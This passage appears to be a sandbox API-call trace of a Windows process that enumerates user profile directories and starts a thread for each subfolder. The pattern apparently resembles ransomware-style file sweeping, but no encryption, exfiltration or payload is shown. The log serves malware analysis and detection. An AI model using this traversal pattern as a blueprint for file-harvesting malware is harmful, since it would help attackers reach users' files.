	[0076.987] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1
	[0076.987] wcscmp (_String1="NTUSER.DAT.LOG1", _String2=".") returned 1
	[0076.987] wcscmp (_String1="NTUSER.DAT.LOG1", _String2="..") returned 1
	[0076.987] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1
	[0076.987] wcscmp (_String1="NTUSER.DAT.LOG2", _String2=".") returned 1
	[0076.987] wcscmp (_String1="NTUSER.DAT.LOG2", _String2="..") returned 1
	[0076.987] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7dab84ff, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855f639a, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1
	[0076.987] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", _String2=".") returned 1
	[0076.987] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", _String2="..") returned 1
	[0076.987] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7ddd9675, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1
	[0076.987] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1
	[0076.988] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1
	[0076.988] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de71fdf, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0x855d0141, ftLastAccessTime.dwHighDateTime=0x1d2fa07, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1
	[0076.988] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1
	[0076.988] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1
	[0076.988] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~2.BLF")) returned 1
	[0076.988] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", _String2=".") returned 1
	[0076.988] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", _String2="..") returned 1
	[0076.988] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~3.REG")) returned 1
	[0076.988] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1
	[0076.988] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1
	[0076.988] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b716935, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b716935, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~4.REG")) returned 1
	[0076.988] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1
	[0076.988] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1
	[0076.988] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
	[0076.988] wcscmp (_String1="Pictures", _String2=".") returned 1
	[0076.988] wcscmp (_String1="Pictures", _String2="..") returned 1
	[0076.988] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dad1f8
	[0076.988] wcscpy (in: _Dest=0x2dad1f8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.988] wcscat (in: _Dest=0x2dad1f8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.988] wcscat (in: _Dest=0x2dad1f8, _Source="Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures"
	[0076.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dad1f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa74
	[0076.989] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1
	[0076.989] wcscmp (_String1="PrintHood", _String2=".") returned 1
	[0076.989] wcscmp (_String1="PrintHood", _String2="..") returned 1
	[0076.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dad3b8
	[0076.989] wcscpy (in: _Dest=0x2dad3b8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.989] wcscat (in: _Dest=0x2dad3b8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.989] wcscat (in: _Dest=0x2dad3b8, _Source="PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood"
	[0076.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dad3b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa78
	[0076.990] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
	[0076.990] wcscmp (_String1="Recent", _String2=".") returned 1
	[0076.990] wcscmp (_String1="Recent", _String2="..") returned 1
	[0076.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x47bb2a8
	[0076.990] wcscpy (in: _Dest=0x47bb2a8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.990] wcscat (in: _Dest=0x47bb2a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.990] wcscat (in: _Dest=0x47bb2a8, _Source="Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent"
	[0076.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bb2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa7c
	[0076.991] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1
	[0076.991] wcscmp (_String1="Saved Games", _String2=".") returned 1
	[0076.991] wcscmp (_String1="Saved Games", _String2="..") returned 1
	[0076.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2dfb270
	[0076.991] wcscpy (in: _Dest=0x2dfb270, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.991] wcscat (in: _Dest=0x2dfb270, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.991] wcscat (in: _Dest=0x2dfb270, _Source="Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games"
	[0076.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dfb270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa80
	[0076.992] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1
	[0076.992] wcscmp (_String1="SendTo", _String2=".") returned 1
	[0076.992] wcscmp (_String1="SendTo", _String2="..") returned 1
	[0076.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x47bb158
	[0076.992] wcscpy (in: _Dest=0x47bb158, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.992] wcscat (in: _Dest=0x47bb158, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.992] wcscat (in: _Dest=0x47bb158, _Source="SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo"
	[0076.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bb158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84
	[0076.992] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0076.992] wcscmp (_String1="Start Menu", _String2=".") returned 1
	[0076.992] wcscmp (_String1="Start Menu", _String2="..") returned 1
	[0076.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2dad5b8
	[0076.993] wcscpy (in: _Dest=0x2dad5b8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.993] wcscat (in: _Dest=0x2dad5b8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.993] wcscat (in: _Dest=0x2dad5b8, _Source="Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu"
	[0076.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dad5b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88
	[0076.993] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0076.994] wcscmp (_String1="Templates", _String2=".") returned 1
	[0076.994] wcscmp (_String1="Templates", _String2="..") returned 1
	[0076.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dad478
	[0076.994] wcscpy (in: _Dest=0x2dad478, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.994] wcscat (in: _Dest=0x2dad478, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.994] wcscat (in: _Dest=0x2dad478, _Source="Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates"
	[0076.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dad478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8c
	[0076.994] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0076.994] wcscmp (_String1="Videos", _String2=".") returned 1
	[0076.994] wcscmp (_String1="Videos", _String2="..") returned 1
	[0076.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x47bb350
	[0076.995] wcscpy (in: _Dest=0x47bb350, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.995] wcscat (in: _Dest=0x47bb350, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.995] wcscat (in: _Dest=0x47bb350, _Source="Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos"
	[0076.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bb350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa90
	[0076.995] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
	[0076.995] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0076.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86140) returned 1
	[0076.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0076.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e10) returned 1

Thread:
	id = 155
	os_tid = 0x7dc

	[0074.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x2e3a1f8
	[0074.421] wcscpy (in: _Dest=0x2e3a1f8, _Source="C:\\Users\\Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User"
	[0074.421] wcscat (in: _Dest=0x2e3a1f8, _Source="\\" | out: _Dest="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\"
	[0074.421] wcscat (in: _Dest=0x2e3a1f8, _Source="*" | out: _Dest="C:\\Users\\Default User\\*") returned="C:\\Users\\Default User\\*"
	[0074.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86398
	[0074.421] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0074.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86398) returned 1
	[0074.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a1f8) returned 1
	[0074.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bea8) returned 1

Thread:
	id = 156
	os_tid = 0x908

	[0074.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2d709c0
	[0074.423] wcscpy (in: _Dest=0x2d709c0, _Source="C:\\Users\\Default.migrated" | out: _Dest="C:\\Users\\Default.migrated") returned="C:\\Users\\Default.migrated"
	[0074.423] wcscat (in: _Dest=0x2d709c0, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\") returned="C:\\Users\\Default.migrated\\"
	[0074.423] wcscat (in: _Dest=0x2d709c0, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\*") returned="C:\\Users\\Default.migrated\\*"
	[0074.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86398
	[0074.423] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\*", lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d706c0
	[0074.445] wcscmp (_String1=".", _String2=".") returned 0
	[0074.445] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.445] wcscmp (_String1="..", _String2=".") returned 1
	[0074.445] wcscmp (_String1="..", _String2="..") returned 0
	[0074.445] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0074.446] wcscmp (_String1="AppData", _String2=".") returned 1
	[0074.446] wcscmp (_String1="AppData", _String2="..") returned 1
	[0074.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2d8b490
	[0074.446] wcscpy (in: _Dest=0x2d8b490, _Source="C:\\Users\\Default.migrated" | out: _Dest="C:\\Users\\Default.migrated") returned="C:\\Users\\Default.migrated"
	[0074.446] wcscat (in: _Dest=0x2d8b490, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\") returned="C:\\Users\\Default.migrated\\"
	[0074.446] wcscat (in: _Dest=0x2d8b490, _Source="AppData" | out: _Dest="C:\\Users\\Default.migrated\\AppData") returned="C:\\Users\\Default.migrated\\AppData"
	[0074.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8b490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824
	[0074.972] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0074.972] wcscmp (_String1="Documents", _String2=".") returned 1
	[0074.972] wcscmp (_String1="Documents", _String2="..") returned 1
	[0074.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2d8a9a0
	[0074.972] wcscpy (in: _Dest=0x2d8a9a0, _Source="C:\\Users\\Default.migrated" | out: _Dest="C:\\Users\\Default.migrated") returned="C:\\Users\\Default.migrated"
	[0074.972] wcscat (in: _Dest=0x2d8a9a0, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\") returned="C:\\Users\\Default.migrated\\"
	[0074.972] wcscat (in: _Dest=0x2d8a9a0, _Source="Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents"
	[0074.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8a9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0
	[0074.973] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0
	[0074.973] FindClose (in: hFindFile=0x2d706c0 | out: hFindFile=0x2d706c0) returned 1
	[0074.973] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86398) returned 1
	[0074.974] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d709c0) returned 1
